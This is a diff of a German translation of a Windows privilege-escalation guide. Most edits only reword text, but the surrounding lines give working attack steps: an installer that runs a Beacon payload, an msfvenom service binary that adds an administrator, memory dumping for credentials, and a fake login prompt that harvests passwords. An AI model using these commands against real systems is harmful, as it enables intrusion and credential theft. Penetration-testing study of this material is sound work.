 - Geben Sie dem Projekt einen Namen, wie **AlwaysPrivesc**, verwenden Sie **`C:\privesc`** für den Speicherort, wählen Sie **Lösung und Projekt im selben Verzeichnis platzieren** und klicken Sie auf **Erstellen**.
 - Klicken Sie weiter auf **Weiter**, bis Sie zu Schritt 3 von 4 (Dateien auswählen) gelangen. Klicken Sie auf **Hinzufügen** und wählen Sie die gerade generierte Beacon-Payload aus. Klicken Sie dann auf **Fertigstellen**.
-- Markieren Sie das **AlwaysPrivesc**-Projekt im **Solution Explorer** und ändern Sie in den **Eigenschaften** **TargetPlatform** von **x86** auf **x64**.
-- Es gibt andere Eigenschaften, die Sie ändern können, wie **Autor** und **Hersteller**, die die installierte App legitimer erscheinen lassen können.
+- Markieren Sie das Projekt **AlwaysPrivesc** im **Solution Explorer** und ändern Sie in den **Eigenschaften** **TargetPlatform** von **x86** auf **x64**.
+- Es gibt andere Eigenschaften, die Sie ändern können, wie **Author** und **Manufacturer**, die die installierte App legitimer erscheinen lassen können.
 - Klicken Sie mit der rechten Maustaste auf das Projekt und wählen Sie **Ansicht > Benutzerdefinierte Aktionen**.
 - Klicken Sie mit der rechten Maustaste auf **Installieren** und wählen Sie **Benutzerdefinierte Aktion hinzufügen**.
 - Doppelklicken Sie auf **Anwendungsordner**, wählen Sie Ihre **beacon.exe**-Datei aus und klicken Sie auf **OK**. Dies stellt sicher, dass die Beacon-Payload ausgeführt wird, sobald der Installer gestartet wird.
@@ -255,7 +255,7 @@ Um diese Schwachstelle auszunutzen, können Sie verwenden: _exploit/windows/loca
 
 ### Audit-Einstellungen
 
-Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten.
+Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
@@ -296,7 +296,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ### Cached Credentials
 
 **Domänenanmeldeinformationen** werden von der **Local Security Authority** (LSA) authentifiziert und von Betriebssystemkomponenten verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheits-Paket authentifiziert werden, werden normalerweise Domänenanmeldeinformationen für den Benutzer erstellt.\
-[**Weitere Informationen zu Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials).
+[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 ```
@@ -358,8 +358,8 @@ powershell -command "Get-Clipboard"
 
 ### Datei- und Ordners Berechtigungen
 
-Zunächst einmal, listen Sie die Prozesse **überprüfen Sie Passwörter in der Befehlszeile des Prozesses**.\
-Überprüfen Sie, ob Sie **eine laufende Binärdatei überschreiben** können oder ob Sie Schreibberechtigungen für den Binärordner haben, um mögliche [**DLL Hijacking-Angriffe**](dll-hijacking/) auszunutzen:
+Zuerst sollten Sie die Prozesse **auf Passwörter in der Befehlszeile des Prozesses überprüfen**.\
+Überprüfen Sie, ob Sie **eine laufende Binärdatei überschreiben** können oder ob Sie Schreibberechtigungen für den Binärordner haben, um mögliche [**DLL Hijacking-Angriffe**](dll-hijacking/index.html) auszunutzen:
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
 #Without usernames
 Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
 ```
-Überprüfen Sie immer, ob mögliche [**electron/cef/chromium-Debugger** ausgeführt werden, Sie könnten dies missbrauchen, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+Überprüfen Sie immer, ob mögliche [**electron/cef/chromium-Debugger** ausgeführt werden, die Sie missbrauchen könnten, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
 
 **Überprüfen der Berechtigungen der Prozess-Binärdateien**
 ```bash
@@ -381,7 +381,7 @@ icacls "%%z"
 )
 )
 ```
-**Überprüfung der Berechtigungen der Ordner der Prozess-Binärdateien (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Überprüfung der Berechtigungen der Ordner der Prozess-Binärdateien (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -389,9 +389,9 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone
 todos %username%" && echo.
 )
 ```
-### Speicher-Passwort-Mining
+### Memory Password mining
 
-Sie können einen Speicherdump eines laufenden Prozesses mit **procdump** von Sysinternals erstellen. Dienste wie FTP haben die **Anmeldeinformationen im Klartext im Speicher**, versuchen Sie, den Speicher zu dumpen und die Anmeldeinformationen zu lesen.
+Sie können einen Speicherabbild eines laufenden Prozesses mit **procdump** von Sysinternals erstellen. Dienste wie FTP haben die **Anmeldeinformationen im Klartext im Speicher**, versuchen Sie, den Speicher abzuleiten und die Anmeldeinformationen zu lesen.
 ```bash
 procdump.exe -accepteula -ma <proc_name_tasklist>
 ```
@@ -399,7 +399,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
 
 **Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.**
 
-Beispiel: "Windows-Hilfe und Support" (Windows + F1), suchen Sie nach "Eingabeaufforderung", klicken Sie auf "Klicken Sie hier, um die Eingabeaufforderung zu öffnen"
+Beispiel: "Windows-Hilfe und -Support" (Windows + F1), suchen Sie nach "Eingabeaufforderung", klicken Sie auf "Klicken Sie hier, um die Eingabeaufforderung zu öffnen"
 
 ## Dienste
 
@@ -434,14 +434,14 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 Wenn Sie diesen Fehler haben (zum Beispiel mit SSDPSRV):
 
 _Systemfehler 1058 ist aufgetreten._\
-&#xNAN;_&#x54;Der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil keine aktivierten Geräte damit verbunden sind._
+&#xNAN;_&#x54;der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil keine aktivierten Geräte damit verbunden sind._
 
 Sie können ihn aktivieren, indem Sie
 ```bash
 sc config SSDPSRV start= demand
 sc config SSDPSRV obj= ".\LocalSystem" password= ""
 ```
-**Berücksichtigen Sie, dass der Dienst upnphost von SSDPSRV abhängt, um zu funktionieren (für XP SP1)**
+**Beachten Sie, dass der Dienst upnphost von SSDPSRV abhängt, um zu funktionieren (für XP SP1)**
 
 **Eine weitere Lösung** dieses Problems besteht darin, Folgendes auszuführen:
 ```
@@ -474,7 +474,7 @@ Für die Erkennung und Ausnutzung dieser Schwachstelle kann das _exploit/windows
 
 ### Schwache Berechtigungen von Dienstbinaries
 
-**Überprüfen Sie, ob Sie die Binary, die von einem Dienst ausgeführt wird, ändern können** oder ob Sie **Schreibberechtigungen für den Ordner** haben, in dem sich die Binary befindet ([**DLL Hijacking**](dll-hijacking/))**.**\
+**Überprüfen Sie, ob Sie die Binary, die von einem Dienst ausgeführt wird, ändern können** oder ob Sie **Schreibberechtigungen für den Ordner** haben, in dem sich die Binary befindet ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 Sie können jede Binary, die von einem Dienst ausgeführt wird, mit **wmic** (nicht in system32) abrufen und Ihre Berechtigungen mit **icacls** überprüfen:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@@ -543,19 +543,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
 ```powershell
 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
 ```
-**Sie können diese Schwachstelle erkennen und ausnutzen** mit metasploit: `exploit/windows/local/trusted\_service\_path` Sie können manuell eine Dienst-Binärdatei mit metasploit erstellen:
+**Sie können diese Schwachstelle mit Metasploit erkennen und ausnutzen:** `exploit/windows/local/trusted\_service\_path` Sie können manuell eine Dienst-Binärdatei mit Metasploit erstellen:
 ```bash
 msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
 ```
 ### Recovery Actions
 
-Windows ermöglicht es Benutzern, Aktionen festzulegen, die ergriffen werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf eine Binärdatei verweist. Wenn diese Binärdatei ersetzbar ist, könnte eine Privilegieneskalation möglich sein. Weitere Details sind in der [offiziellen Dokumentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>) zu finden.
+Windows ermöglicht es Benutzern, Aktionen festzulegen, die ergriffen werden sollen, wenn ein Dienst fehlschlägt. Diese Funktion kann so konfiguriert werden, dass sie auf eine Binärdatei verweist. Wenn diese Binärdatei ersetzbar ist, könnte eine Privilegieneskalation möglich sein. Weitere Details finden Sie in der [offiziellen Dokumentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
 
 ## Applications
 
 ### Installed Applications
 
-Überprüfen Sie die **Berechtigungen der Binärdateien** (vielleicht können Sie eine überschreiben und Privilegien eskalieren) und der **Ordner** ([DLL Hijacking](dll-hijacking/)).
+Überprüfen Sie **die Berechtigungen der Binärdateien** (vielleicht können Sie eine überschreiben und Privilegien eskalieren) und der **Ordner** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -700,7 +700,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 ```
 ### Anmeldeinformationsmanager / Windows-Tresor
 
-From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
+Von [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
 Der Windows-Tresor speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen **Windows** die Benutzer **automatisch anmelden kann**. Auf den ersten Blick mag es so aussehen, als könnten Benutzer ihre Facebook-Anmeldeinformationen, Twitter-Anmeldeinformationen, Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Aber das ist nicht der Fall.
 
 Der Windows-Tresor speichert Anmeldeinformationen, mit denen Windows die Benutzer automatisch anmelden kann, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource** (Server oder Website) **zuzugreifen, diesen Anmeldeinformationsmanager** & Windows-Tresor nutzen und die bereitgestellten Anmeldeinformationen verwenden kann, anstatt dass die Benutzer ständig ihren Benutzernamen und ihr Passwort eingeben.
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
 
 ### PowerShell-Anmeldeinformationen
 
-**PowerShell-Anmeldeinformationen** werden häufig für **Skripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was typischerweise bedeutet, dass sie nur von demselben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
+**PowerShell-Anmeldeinformationen** werden häufig für **Skripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur von demselben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
 
 Um **PS-Anmeldeinformationen** aus der Datei, die sie enthält, zu **entschlüsseln**, können Sie Folgendes tun:
 ```powershell
@@ -799,7 +799,7 @@ Menschen verwenden oft die StickyNotes-App auf Windows-Workstations, um **Passw
 
 ### AppCmd.exe
 
-**Beachten Sie, dass Sie Administrator sein müssen und unter einem hohen Integritätslevel ausführen müssen, um Passwörter aus AppCmd.exe wiederherzustellen.**\
+**Beachten Sie, dass Sie Administrator sein und unter einem hohen Integritätslevel ausführen müssen, um Passwörter aus AppCmd.exe wiederherzustellen.**\
 **AppCmd.exe** befindet sich im Verzeichnis `%systemroot%\system32\inetsrv\`.\
 Wenn diese Datei existiert, ist es möglich, dass einige **Anmeldeinformationen** konfiguriert wurden und **wiederhergestellt** werden können.
 
@@ -902,14 +902,14 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
 ```
 ### SSH-Schlüssel in der Registrierung
 
-SSH-Private Schlüssel können im Registrierungsschlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher sollten Sie überprüfen, ob dort etwas Interessantes zu finden ist:
+SSH-Private Schlüssel können im Registrierungsschlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher sollten Sie überprüfen, ob dort etwas Interessantes vorhanden ist:
 ```bash
 reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 ```
 Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er wird verschlüsselt gespeichert, kann jedoch leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\
 Weitere Informationen zu dieser Technik finden Sie hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 
-Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie aus:
+Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie Folgendes aus:
 ```bash
 Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
 ```
@@ -976,7 +976,7 @@ Suchen Sie nach einer Datei namens **SiteList.xml**
 
 ### Cached GPP Passwort
 
-Eine Funktion war zuvor verfügbar, die die Bereitstellung von benutzerdefinierten lokalen Administratorkonten auf einer Gruppe von Maschinen über Gruppenrichtlinienpräferenzen (GPP) ermöglichte. Diese Methode hatte jedoch erhebliche Sicherheitsmängel. Erstens konnten die Gruppenrichtlinienobjekte (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer zugegriffen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt waren, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernsthaftes Risiko dar, da es Benutzern ermöglichen konnte, erhöhte Berechtigungen zu erlangen.
+Eine Funktion war zuvor verfügbar, die die Bereitstellung von benutzerdefinierten lokalen Administratorkonten auf einer Gruppe von Maschinen über Gruppenrichtlinienpräferenzen (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Gruppenrichtlinienobjekte (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer zugegriffen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt sind, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernsthaftes Risiko dar, da es Benutzern ermöglichen konnte, erhöhte Berechtigungen zu erlangen.
 
 Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein "cpassword"-Feld enthalten, das nicht leer ist. Bei Auffinden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über die GPP und den Speicherort der Datei, was bei der Identifizierung und Behebung dieser Sicherheitsanfälligkeit hilft.
 
@@ -1052,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 ```
 ### Nach Anmeldeinformationen fragen
 
-Sie können immer **den Benutzer bitten, seine Anmeldeinformationen oder sogar die Anmeldeinformationen eines anderen Benutzers einzugeben**, wenn Sie denken, dass er sie wissen könnte (beachten Sie, dass **den** Kunden direkt nach den **Anmeldeinformationen** zu **fragen** wirklich **riskant** ist):
+Sie können immer **den Benutzer bitten, seine Anmeldeinformationen oder sogar die Anmeldeinformationen eines anderen Benutzers einzugeben**, wenn Sie denken, dass er sie wissen könnte (beachten Sie, dass **den** Kunden direkt nach den **Anmeldeinformationen** zu fragen, wirklich **riskant** ist):
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1168,9 +1168,9 @@ Tools zum Extrahieren von Passwörtern aus Browsern:
 
 **Component Object Model (COM)** ist eine Technologie, die im Windows-Betriebssystem integriert ist und die **Interkommunikation** zwischen Softwarekomponenten verschiedener Sprachen ermöglicht. Jede COM-Komponente wird **über eine Klassen-ID (CLSID)** identifiziert, und jede Komponente bietet Funktionalität über eine oder mehrere Schnittstellen, die über Schnittstellen-IDs (IIDs) identifiziert werden.
 
-COM-Klassen und -Schnittstellen sind in der Registry unter **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** und **HKEY\_**_**CLASSES\_**_**ROOT\Interface** definiert. Diese Registry wird erstellt, indem **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** zusammengeführt wird.
+COM-Klassen und -Schnittstellen sind in der Registry unter **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** und **HKEY\_**_**CLASSES\_**_**ROOT\Interface** definiert. Diese Registry wird erstellt, indem **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** zusammengeführt werden.
 
-Innerhalb der CLSIDs dieser Registry finden Sie den untergeordneten Registrierungseintrag **InProcServer32**, der einen **Standardwert** enthält, der auf eine **DLL** verweist, und einen Wert namens **ThreadingModel**, der **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single oder Multi) oder **Neutral** (Thread Neutral) sein kann.
+Innerhalb der CLSIDs dieser Registry finden Sie die untergeordnete Registry **InProcServer32**, die einen **Standardwert** enthält, der auf eine **DLL** verweist, und einen Wert namens **ThreadingModel**, der **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single oder Multi) oder **Neutral** (Thread Neutral) sein kann.
 
 ![](<../../images/image (729).png>)
 
@@ -1206,7 +1206,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
 ### Tools, die nach Passwörtern suchen
 
 [**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf** Plugin, das ich erstellt habe, um **automatisch jedes Metasploit POST-Modul auszuführen, das nach Anmeldeinformationen** im Opfer sucht.\
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die auf dieser Seite erwähnte Passwörter enthalten.\
+[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die Passwörter enthalten, die auf dieser Seite erwähnt werden.\
 [**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren.
 
 Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) sucht nach **Sitzungen**, **Benutzernamen** und **Passwörtern** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP).
@@ -1225,11 +1225,11 @@ Wenn Sie dann **vollen Zugriff auf den niedrig privilegierten Prozess** haben, k
 
 ## Named Pipe Client Impersonation
 
-Geteilte Speichersegmente, die als **Pipes** bezeichnet werden, ermöglichen die Kommunikation und den Datenaustausch zwischen Prozessen.
+Gemeinsame Speichersegmente, die als **Pipes** bezeichnet werden, ermöglichen die Kommunikation und den Datenaustausch zwischen Prozessen.
 
-Windows bietet eine Funktion namens **Named Pipes**, die es nicht verwandten Prozessen ermöglicht, Daten zu teilen, sogar über verschiedene Netzwerke hinweg. Dies ähnelt einer Client/Server-Architektur, bei der die Rollen als **Named Pipe Server** und **Named Pipe Client** definiert sind.
+Windows bietet eine Funktion namens **Named Pipes**, die es nicht verwandten Prozessen ermöglicht, Daten zu teilen, selbst über verschiedene Netzwerke hinweg. Dies ähnelt einer Client/Server-Architektur, bei der die Rollen als **Named Pipe Server** und **Named Pipe Client** definiert sind.
 
-Wenn Daten durch eine Pipe von einem **Client** gesendet werden, hat der **Server**, der die Pipe eingerichtet hat, die Möglichkeit, **die Identität** des **Clients** zu **übernehmen**, vorausgesetzt, er hat die erforderlichen **SeImpersonate**-Rechte. Die Identifizierung eines **privilegierten Prozesses**, der über eine Pipe kommuniziert und den Sie nachahmen können, bietet die Möglichkeit, **höhere Berechtigungen zu erlangen**, indem Sie die Identität dieses Prozesses übernehmen, sobald er mit der von Ihnen eingerichteten Pipe interagiert. Für Anweisungen zur Durchführung eines solchen Angriffs sind hilfreiche Anleitungen [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system) zu finden.
+Wenn Daten durch eine Pipe von einem **Client** gesendet werden, hat der **Server**, der die Pipe eingerichtet hat, die Möglichkeit, die **Identität** des **Clients** zu **übernehmen**, vorausgesetzt, er hat die erforderlichen **SeImpersonate**-Rechte. Die Identifizierung eines **privilegierten Prozesses**, der über eine Pipe kommuniziert und den Sie nachahmen können, bietet die Möglichkeit, **höhere Berechtigungen zu erlangen**, indem Sie die Identität dieses Prozesses übernehmen, sobald er mit der von Ihnen eingerichteten Pipe interagiert. Für Anweisungen zur Durchführung eines solchen Angriffs sind hilfreiche Anleitungen [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system) zu finden.
 
 Außerdem ermöglicht das folgende Tool, **eine Named Pipe-Kommunikation mit einem Tool wie Burp abzufangen:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool ermöglicht es, alle Pipes aufzulisten und zu sehen, um Privilegien zu erlangen** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
@@ -1237,7 +1237,7 @@ Außerdem ermöglicht das folgende Tool, **eine Named Pipe-Kommunikation mit ein
 
 ### **Überwachung von Befehlszeilen auf Passwörter**
 
-Wenn Sie eine Shell als Benutzer erhalten, können geplante Aufgaben oder andere Prozesse ausgeführt werden, die **Anmeldeinformationen über die Befehlszeile übergeben**. Das folgende Skript erfasst alle zwei Sekunden die Befehlszeilen der Prozesse und vergleicht den aktuellen Zustand mit dem vorherigen Zustand, wobei alle Unterschiede ausgegeben werden.
+Wenn Sie eine Shell als Benutzer erhalten, können geplante Aufgaben oder andere Prozesse ausgeführt werden, die **Anmeldeinformationen in der Befehlszeile übergeben**. Das folgende Skript erfasst alle zwei Sekunden die Befehlszeilen der Prozesse und vergleicht den aktuellen Zustand mit dem vorherigen Zustand, wobei alle Unterschiede ausgegeben werden.
 ```powershell
 while($true)
 {
@@ -1277,7 +1277,7 @@ Windows 10 1607	14393	** link OPENED AS SYSTEM **
 Windows 10 1703	15063	link NOT opened
 Windows 10 1709	16299	link NOT opened
 ```
-Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:
+Um diese Schwachstelle auszunutzen, ist es notwendig, die folgenden Schritte auszuführen:
 ```
 1) Right click on the HHUPD.EXE file and run it as Administrator.
 
@@ -1339,14 +1339,14 @@ Mit dieser Technik wird normalerweise **ein beliebiger Prozess, der als SYSTEM a
 
 ### **Named Pipes**
 
-Diese Technik wird von Meterpreter verwendet, um in `getsystem` zu eskalieren. Die Technik besteht darin, **ein Pipe zu erstellen und dann einen Dienst zu erstellen/auszunutzen, um in dieses Pipe zu schreiben**. Dann kann der **Server**, der das Pipe mit der **`SeImpersonate`**-Berechtigung erstellt hat, das **Token** des Pipe-Clients (des Dienstes) **nachahmen** und SYSTEM-Berechtigungen erhalten.\
-Wenn Sie [**mehr über Namens-Pipes erfahren möchten, sollten Sie dies lesen**](#named-pipe-client-impersonation).\
-Wenn Sie ein Beispiel lesen möchten, [**wie man von hoher Integrität zu System mit Namens-Pipes gelangt, sollten Sie dies lesen**](from-high-integrity-to-system-with-name-pipes.md).
+Diese Technik wird von Meterpreter verwendet, um in `getsystem` zu eskalieren. Die Technik besteht darin, **ein Pipe zu erstellen und dann einen Dienst zu erstellen/auszunutzen, um auf dieses Pipe zu schreiben**. Dann kann der **Server**, der das Pipe mit der **`SeImpersonate`**-Berechtigung erstellt hat, das **Token** des Pipe-Clients (des Dienstes) **nachahmen** und SYSTEM-Berechtigungen erhalten.\
+Wenn Sie [**mehr über benannte Pipes erfahren möchten, sollten Sie dies lesen**](#named-pipe-client-impersonation).\
+Wenn Sie ein Beispiel lesen möchten, [**wie man von hoher Integrität zu System mit benannten Pipes gelangt, sollten Sie dies lesen**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
 Wenn es Ihnen gelingt, eine **dll** zu **hijacken**, die von einem **Prozess** ausgeführt wird, der als **SYSTEM** läuft, können Sie beliebigen Code mit diesen Berechtigungen ausführen. Daher ist Dll Hijacking auch nützlich für diese Art der Privilegieneskalation und zudem **viel einfacher von einem High Integrity-Prozess aus zu erreichen**, da er **Schreibberechtigungen** für die Ordner hat, die zum Laden von DLLs verwendet werden.\
-**Sie können** [**hier mehr über Dll Hijacking erfahren**](dll-hijacking/)**.**
+**Sie können** [**hier mehr über Dll Hijacking erfahren**](dll-hijacking/index.html)**.**
 
 ### **Von Administrator oder Netzwerkdienst zu System**
 
@@ -1360,11 +1360,11 @@ https://github.com/sailay1996/RpcSsImpersonator
 
 ## Weitere Hilfe
 
-[Statische impacket-Binärdateien](https://github.com/ropnop/impacket_static_binaries)
+[Statische Impacket-Binärdateien](https://github.com/ropnop/impacket_static_binaries)
 
-## Nützliche Werkzeuge
+## Nützliche Tools
 
-**Bestes Tool zur Suche nach Windows-Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+**Das beste Tool zur Suche nach Windows-Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 **PS**
 
@@ -1376,7 +1376,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert Anmeldeinformationen aus dem Anmeldeinformations-Manager. Erkannt.**\
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Sprühen Sie gesammelte Passwörter über die Domain**\
 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS-Spoofer und Man-in-the-Middle-Tool.**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Grundlegende Privilegieneskalation Windows-Einordnung**\
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Grundlegende Privilegieneskalation Windows-Enumeration**\
 [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Suchen Sie nach bekannten Privilegieneskalationsanfälligkeiten (DEPRECATED für Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale Überprüfungen **(Benötigt Administratorrechte)**
 
@@ -1386,12 +1386,12 @@ https://github.com/sailay1996/RpcSsImpersonator
 [**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht den Host nach Fehlkonfigurationen (mehr ein Informationssammlungswerkzeug als Privilegieneskalation) (muss kompiliert werden) **(**[**vorkompiliert**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
 [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Anmeldeinformationen aus vielen Softwareanwendungen (vorkompilierte exe in github)**\
 [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port von PowerUp nach C#**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Überprüfen Sie auf Fehlkonfigurationen (ausführbare vorkompilierte Datei in github). Nicht empfohlen. Funktioniert nicht gut in Win10.\
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Überprüfen Sie auf Fehlkonfigurationen (ausführbare Datei vorkompiliert in github). Nicht empfohlen. Funktioniert nicht gut in Win10.\
